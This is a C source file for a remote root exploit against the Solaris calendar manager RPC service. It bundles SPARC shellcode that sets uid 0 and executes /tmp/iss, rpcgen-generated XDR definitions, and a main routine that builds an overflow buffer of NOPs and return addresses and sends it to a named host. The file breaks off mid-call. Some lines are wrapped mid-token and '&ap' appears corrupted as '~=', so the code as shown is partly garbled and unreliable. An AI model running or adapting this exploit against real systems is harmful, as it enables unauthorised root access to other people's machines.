/*
 *
 * cmsd warez
 *
 * executes /tmp/iss
 *
 * gcc -o c c.c -lrpcsvc -lnsl -lsocket
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <arpa/inet.h>

char c0de[]=
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
"\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
"\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
"\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
"\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
"\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
"\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
"\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
"\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
"\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
"\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
"\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
"\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
"\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
"\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
"\x91\xd0\x20\x08"; /* ta 8 - exit(0) */

#define X_OFFSET  5500
#define RW_OFFSET 800
#define NOPS      700
#define ALIGN     (2000+sizeof(unsigned long)*7)
#define REG_W_SIZ 64
#define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
#define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))

char cname[] = "root@ISS";

/* ----- rpcgen ----- */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#ifndef _RTABLE4_H_RPCGEN
#define _RTABLE4_H_RPCGEN

#include <rpc/rpc.h>

typedef char *Buffer;

enum Transaction {
        add = 0,
        cm_remove = 1
};
typedef enum Transaction Transaction;

enum Interval {
        single = 0,
        daily = 1,
        weekly = 2,
        biweekly = 3,
        monthly = 4,
        yearly = 5,
        nthWeekday = 6,
        everyNthDay = 7,
        everyNthWeek = 8,
        everyNthMonth = 9,
        otherPeriod = 10,
        monThruFri = 11,
        monWedFri = 12,
        tueThur = 13,
        daysOfWeek = 14
};
typedef enum Interval Interval;

struct Period {
        Interval period;
        int nth;
        long enddate;
};
typedef struct Period Period;

enum Event_Type {
        appointment = 0,
        reminder = 1,
        otherTag = 2,
        holiday = 3,
        toDo = 4
};
typedef enum Event_Type Event_Type;

enum Options {
        do_all = 0,
        do_one = 1,
        do_forward = 2
};
typedef enum Options Options;

struct Tag {
        Event_Type tag;
        int showtime;
        struct Tag *next;
};
typedef struct Tag Tag;

enum Privacy_Level {
        public = 0,
        private = 1,
        semiprivate = 2
};
typedef enum Privacy_Level Privacy_Level;

struct Attribute {
        struct Attribute *next;
        Buffer attr;
        Buffer value;
        Buffer clientdata;
};
typedef struct Attribute Attribute;

typedef Attribute *Attr;

struct Except {
        int ordinal;
        struct Except *next;
};
typedef struct Except Except;

typedef Except *Exception;

struct Id {
        long tick;
        long key;
};
typedef struct Id Id;

struct Uid {
        struct Id appt_id;
        struct Uid *next;
};
typedef struct Uid Uid;

enum Appt_Status {
        active = 0,
        pendingAdd = 1,
        pendingDelete = 2,
        committed = 3,
        cancelled = 4,
        completed = 5
};
typedef enum Appt_Status Appt_Status;

struct Appt {
        struct Id appt_id;
        struct Tag *tag;
        int duration;
        int ntimes;
        Buffer what;
        struct Period period;
        Buffer author;
        Buffer client_data;
        struct Except *exception;
        struct Attribute *attr;
        Appt_Status appt_status;
        Privacy_Level privacy;
        struct Appt *next;
};
typedef struct Appt Appt;

struct Abb_Appt {
        struct Id appt_id;
        struct Tag *tag;
        Buffer what;
        int duration;
        struct Period period;
        struct Abb_Appt *next;
        Appt_Status appt_status;
        Privacy_Level privacy;
};
typedef struct Abb_Appt Abb_Appt;

struct Apptid {
        struct Id *oid;
        struct Appt *new_appt;
        Options option;
};
typedef struct Apptid Apptid;

struct Reminder {
        struct Id appt_id;
        long tick;
        Attribute attr;
        struct Reminder *next;
};
typedef struct Reminder Reminder;

enum Table_Res_Type {
        AP = 0,
        RM = 1,
        AB = 2,
        ID = 3
};
typedef enum Table_Res_Type Table_Res_Type;

struct Table_Res_List {
        Table_Res_Type tag;
        union {
                Appt *a;
                Reminder *r;
                Abb_Appt *b;
                Uid *i;
        } Table_Res_List_u;
};
typedef struct Table_Res_List Table_Res_List;

enum Access_Status {
        access_ok = 0,
        access_added = 1,
        access_removed = 2,
        access_failed = 3,
        access_exists = 4,
        access_partial = 5,
        access_other = 6,
        access_notable = 7,
        access_notsupported = 8,
        access_incomplete = 9
};
typedef enum Access_Status Access_Status;

struct Table_Res {
        Access_Status status;
        Table_Res_List res;
};
typedef struct Table_Res Table_Res;
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"   /* special user */

struct Access_Entry {
        Buffer who;
        int access_type;
        struct Access_Entry *next;
};
typedef struct Access_Entry Access_Entry;

struct Access_Args {
        Buffer target;
        Access_Entry *access_list;
};
typedef struct Access_Args Access_Args;

struct Range {
        long key1;
        long key2;
        struct Range *next;
};
typedef struct Range Range;

struct Keyrange {
        long key;
        long tick1;
        long tick2;
        struct Keyrange *next;
};
typedef struct Keyrange Keyrange;

struct Uidopt {
        struct Id appt_id;
        Options option;
        struct Uidopt *next;
};
typedef struct Uidopt Uidopt;

enum Table_Args_Type {
        TICK_4 = 0,
        APPTID = 1,
        UID = 2,
        APPT = 3,
        RANGE = 4,
        KEYRANGE = 5,
        UIDOPT = 6
};
typedef enum Table_Args_Type Table_Args_Type;

struct Args {
        Table_Args_Type tag;
        union {
                long tick;
                Apptid apptid;
                Uid *key;
                Appt *appt;
                Range *range;
                Keyrange *keyrange;
                Uidopt *uidopt;
        } Args_u;
};
typedef struct Args Args;

struct Table_Args {
        Buffer target;
        Args args;
        int pid;
};
typedef struct Table_Args Table_Args;

struct Registration {
        Buffer target;
        u_long prognum;
        u_long versnum;
        u_long procnum;
        struct Registration *next;
        int pid;
};
typedef struct Registration Registration;

struct Table_Op_Args {
        Buffer target;
        Buffer new_target;
};
typedef struct Table_Op_Args Table_Op_Args;

enum Table_Status {
        ok = 0,
        duplicate = 1,
        badtable = 2,
        notable = 3,
        denied = 4,
        other = 5,
        tbl_not_owner = 6,
        tbl_exist = 7,
        tbl_notsupported = 8
};
typedef enum Table_Status Table_Status;

enum Registration_Status {
        registered = 0,
        failed = 1,
        deregistered = 2,
        confused = 3,
        reg_notable = 4
};
typedef enum Registration_Status Registration_Status;

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

#define TABLEPROG ((unsigned long)(100068))
#define TABLEVERS ((unsigned long)(4))
#define rtable_ping ((unsigned long)(0))
extern  void * rtable_ping_4();
#define rtable_lookup ((unsigned long)(1))
extern  Table_Res * rtable_lookup_4();
#define rtable_lookup_next_larger ((unsigned long)(2))
extern  Table_Res * rtable_lookup_next_larger_4();
#define rtable_lookup_next_smaller ((unsigned long)(3))
extern  Table_Res * rtable_lookup_next_smaller_4();
#define rtable_lookup_range ((unsigned long)(4))
extern  Table_Res * rtable_lookup_range_4();
#define rtable_abbreviated_lookup_range ((unsigned long)(5))
extern  Table_Res * rtable_abbreviated_lookup_range_4();
#define rtable_insert ((unsigned long)(6))
extern  Table_Res * rtable_insert_4();
#define rtable_delete ((unsigned long)(7))
extern  Table_Res * rtable_delete_4();
#define rtable_delete_instance ((unsigned long)(8))
extern  Table_Res * rtable_delete_instance_4();
#define rtable_change ((unsigned long)(9))
extern  Table_Res * rtable_change_4();
#define rtable_change_instance ((unsigned long)(10))
extern  Table_Res * rtable_change_instance_4();
#define rtable_lookup_next_reminder ((unsigned long)(11))
extern  Table_Res * rtable_lookup_next_reminder_4();
#define rtable_check ((unsigned long)(12))
extern  Table_Status * rtable_check_4();
#define rtable_flush_table ((unsigned long)(13))
extern  Table_Status * rtable_flush_table_4();
#define rtable_size ((unsigned long)(14))
extern  int * rtable_size_4();
#define register_callback ((unsigned long)(15))
extern  Registration_Status * register_callback_4();
#define deregister_callback ((unsigned long)(16))
extern  Registration_Status * deregister_callback_4();
#define rtable_set_access ((unsigned long)(17))
extern  Access_Status * rtable_set_access_4();
#define rtable_get_access ((unsigned long)(18))
extern  Access_Args * rtable_get_access_4();
#define rtable_abbreviated_lookup_key_range ((unsigned long)(19))
extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
#define rtable_gmtoff ((unsigned long)(20))
extern  long * rtable_gmtoff_4();
#define rtable_create ((unsigned long)(21))
extern  Table_Status * rtable_create_4();
#define rtable_remove ((unsigned long)(22))
extern  Table_Status * rtable_remove_4();
#define rtable_rename ((unsigned long)(23))
extern  Table_Status * rtable_rename_4();
extern int tableprog_4_freeresult();

/* the xdr functions */
extern bool_t xdr_Buffer();
extern bool_t xdr_Transaction();
extern bool_t xdr_Interval();
extern bool_t xdr_Period();
extern bool_t xdr_Event_Type();
extern bool_t xdr_Options();
extern bool_t xdr_Tag();
extern bool_t xdr_Privacy_Level();
extern bool_t xdr_Attribute();
extern bool_t xdr_Attr();
extern bool_t xdr_Except();
extern bool_t xdr_Exception();
extern bool_t xdr_Id();
extern bool_t xdr_Uid();
extern bool_t xdr_Appt_Status();
extern bool_t xdr_Appt();
extern bool_t xdr_Abb_Appt();
extern bool_t xdr_Apptid();
extern bool_t xdr_Reminder();
extern bool_t xdr_Table_Res_Type();
extern bool_t xdr_Table_Res_List();
extern bool_t xdr_Access_Status();
extern bool_t xdr_Table_Res();
extern bool_t xdr_Access_Entry();
extern bool_t xdr_Access_Args();
extern bool_t xdr_Range();
extern bool_t xdr_Keyrange();
extern bool_t xdr_Uidopt();
extern bool_t xdr_Table_Args_Type();
extern bool_t xdr_Args();
extern bool_t xdr_Table_Args();
extern bool_t xdr_Registration();
extern bool_t xdr_Table_Op_Args();
extern bool_t xdr_Table_Status();
extern bool_t xdr_Registration_Status();

#endif /* !_RTABLE4_H_RPCGEN */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

bool_t
xdr_Buffer(xdrs, objp)
        register XDR *xdrs;
        Buffer *objp;
{

        register long *buf;

        if (!xdr_string(xdrs, objp, ~0))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Transaction(xdrs, objp)
        register XDR *xdrs;
        Transaction *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Interval(xdrs, objp)
        register XDR *xdrs;
        Interval *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Period(xdrs, objp)
        register XDR *xdrs;
        Period *objp;
{

        register long *buf;

        if (!xdr_Interval(xdrs, &objp->period))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->nth))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->enddate))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Event_Type(xdrs, objp)
        register XDR *xdrs;
        Event_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Options(xdrs, objp)
        register XDR *xdrs;
        Options *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Tag(xdrs, objp)
        register XDR *xdrs;
        Tag *objp;
{

        register long *buf;

        if (!xdr_Event_Type(xdrs, &objp->tag))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->showtime))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t)
xdr_Tag))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Privacy_Level(xdrs, objp)
        register XDR *xdrs;
        Privacy_Level *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Attribute(xdrs, objp)
        register XDR *xdrs;
        Attribute *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrpr
oc_t) xdr_Attribute))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->attr))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->value))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->clientdata))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Attr(xdrs, objp)
        register XDR *xdrs;
        Attr *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) x
dr_Attribute))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Except(xdrs, objp)
        register XDR *xdrs;
        Except *objp;
{

        register long *buf;

        if (!xdr_int(xdrs, &objp->ordinal))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_
t) xdr_Except))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Exception(xdrs, objp)
        register XDR *xdrs;
        Exception *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_
Except))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Id(xdrs, objp)
        register XDR *xdrs;
        Id *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->tick))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->key))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Uid(xdrs, objp)
        register XDR *xdrs;
        Uid *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t)
xdr_Uid))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Appt_Status(xdrs, objp)
        register XDR *xdrs;
        Appt_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Appt(xdrs, objp)
        register XDR *xdrs;
        Appt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) x
dr_Tag))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->duration))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->ntimes))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->what))
                return (FALSE);
        if (!xdr_Period(xdrs, &objp->period))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->author))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->client_data))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdr
proc_t) xdr_Except))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrpr
oc_t) xdr_Attribute))
                return (FALSE);
        if (!xdr_Appt_Status(xdrs, &objp->appt_status))
                return (FALSE);
        if (!xdr_Privacy_Level(xdrs, &objp->privacy))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t)
 xdr_Appt))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Abb_Appt(xdrs, objp)
        register XDR *xdrs;
        Abb_Appt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) x
dr_Tag))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->what))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->duration))
                return (FALSE);
        if (!xdr_Period(xdrs, &objp->period))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrpro
c_t) xdr_Abb_Appt))
                return (FALSE);
        if (!xdr_Appt_Status(xdrs, &objp->appt_status))
                return (FALSE);
        if (!xdr_Privacy_Level(xdrs, &objp->privacy))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Apptid(xdrs, objp)
        register XDR *xdrs;
        Apptid *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xd
r_Id))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrpro
c_t) xdr_Appt))
                return (FALSE);
        if (!xdr_Options(xdrs, &objp->option))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Reminder(xdrs, objp)
        register XDR *xdrs;
        Reminder *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->tick))
                return (FALSE);
        if (!xdr_Attribute(xdrs, &objp->attr))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrpro
c_t) xdr_Reminder))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res_Type(xdrs, objp)
        register XDR *xdrs;
        Table_Res_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res_List(xdrs, objp)
        register XDR *xdrs;
        Table_Res_List *objp;
{

        register long *buf;

        if (!xdr_Table_Res_Type(xdrs, &objp->tag))
                return (FALSE);
        switch (objp->tag) {
        case AP:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, size
of (Appt), (xdrproc_t) xdr_Appt))
                        return (FALSE);
                break;
        case RM:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, size
of (Reminder), (xdrproc_t) xdr_Reminder))
                        return (FALSE);
                break;
        case AB:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, size
of (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
                        return (FALSE);
                break;
        case ID:
                if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, size
of (Uid), (xdrproc_t) xdr_Uid))
                        return (FALSE);
                break;
        }
        return (TRUE);
}

bool_t
xdr_Access_Status(xdrs, objp)
        register XDR *xdrs;
        Access_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res(xdrs, objp)
        register XDR *xdrs;
        Table_Res *objp;
{

        register long *buf;

        if (!xdr_Access_Status(xdrs, &objp->status))
                return (FALSE);
        if (!xdr_Table_Res_List(xdrs, &objp->res))
                return (FALSE);
        return (TRUE);
}
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"   /* special user */

bool_t
xdr_Access_Entry(xdrs, objp)
        register XDR *xdrs;
        Access_Entry *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->who))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->access_type))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xd
rproc_t) xdr_Access_Entry))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Access_Args(xdrs, objp)
        register XDR *xdrs;
        Access_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entr
y), (xdrproc_t) xdr_Access_Entry))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Range(xdrs, objp)
        register XDR *xdrs;
        Range *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->key1))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->key2))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t
) xdr_Range))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Keyrange(xdrs, objp)
        register XDR *xdrs;
        Keyrange *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->key))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->tick1))
                return (FALSE);
        if (!xdr_long(xdrs, &objp->tick2))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrpro
c_t) xdr_Keyrange))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Uidopt(xdrs, objp)
        register XDR *xdrs;
        Uidopt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
                return (FALSE);
        if (!xdr_Options(xdrs, &objp->option))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_
t) xdr_Uidopt))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Args_Type(xdrs, objp)
        register XDR *xdrs;
        Table_Args_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Args(xdrs, objp)
        register XDR *xdrs;
        Args *objp;
{

        register long *buf;

        if (!xdr_Table_Args_Type(xdrs, &objp->tag))
                return (FALSE);
        switch (objp->tag) {
        case TICK_4:
                if (!xdr_long(xdrs, &objp->Args_u.tick))
                        return (FALSE);
                break;
        case APPTID:
                if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
                        return (FALSE);
                break;
        case UID:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid)
, (xdrproc_t) xdr_Uid))
                        return (FALSE);
                break;
        case APPT:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (App
t), (xdrproc_t) xdr_Appt))
                        return (FALSE);
                break;
        case RANGE:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Ra
nge), (xdrproc_t) xdr_Range))
                        return (FALSE);
                break;
        case KEYRANGE:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof
(Keyrange), (xdrproc_t) xdr_Keyrange))
                        return (FALSE);
                break;
        case UIDOPT:
                if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (U
idopt), (xdrproc_t) xdr_Uidopt))
                        return (FALSE);
                break;
        default:
                return (FALSE);
        }
        return (TRUE);
}

bool_t
xdr_Table_Args(xdrs, objp)
        register XDR *xdrs;
        Table_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_Args(xdrs, &objp->args))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->pid))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Registration(xdrs, objp)
        register XDR *xdrs;
        Registration *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_u_long(xdrs, &objp->prognum))
                return (FALSE);
        if (!xdr_u_long(xdrs, &objp->versnum))
                return (FALSE);
        if (!xdr_u_long(xdrs, &objp->procnum))
                return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xd
rproc_t) xdr_Registration))
                return (FALSE);
        if (!xdr_int(xdrs, &objp->pid))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Op_Args(xdrs, objp)
        register XDR *xdrs;
        Table_Op_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
                return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->new_target))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Status(xdrs, objp)
        register XDR *xdrs;
        Table_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_Registration_Status(xdrs, objp)
        register XDR *xdrs;
        Registration_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

/* ----- rpcgen ----- */

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if(!(he=gethostbyname(host)))
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int main(int argc, char *argv[])
{
  char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
  struct sockaddr_in sin;
  struct timeval tv;
  Table_Op_Args toa;
  Table_Status ts;
  Table_Args ta;
  Table_Res tr;
  Appt ap;
  int sock;
  unsigned long *ptr;
  CLIENT *c;

  if(argc!=2)
    {
      (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
      exit(-1);
    }

  (void)memset(&sin,0,sizeof(sin));
  sin.sin_family = AF_INET;

  if(!(sin.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  (void)memset(&tv,0,sizeof(tv));
  tv.tv_sec = 7;

  sock = RPC_ANYSOCK;
  if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
    {
      (void)clnt_pcreateerror(argv[0]);
      exit(1);
    }
  c->cl_auth = authunix_create(argv[1],0,0,0,0);

  (void)memset(&toa,0,sizeof(toa));
  toa.target = cname;

  (void)memset(&ts,0,sizeof(ts));

  if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
               xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
    {
      (void)clnt_perror(c,"error: rtable_create");
      exit(-1);
    }

  (void)memset(abuf,0xff,sizeof(abuf));
  abuf[sizeof(abuf)-1] = 0;

  for(ptr=(unsigned long *)obuf;
      ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
      ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
    *ptr = (0xeffffff0-RW_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
    *ptr = (0xeffffff0-X_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  (void)memset(~=,0,sizeof(ap));
  ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
  ap.what = abuf;
  ap.client_data = &obuf[2];

  (void)memset(&ta,0,sizeof(ta));
  ta.args.tag = APPT;
  ta.target = cname;
  ta.args.Args_u.appt = ~=

  (void)memset(&tr,0,sizeof(tr));

  if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
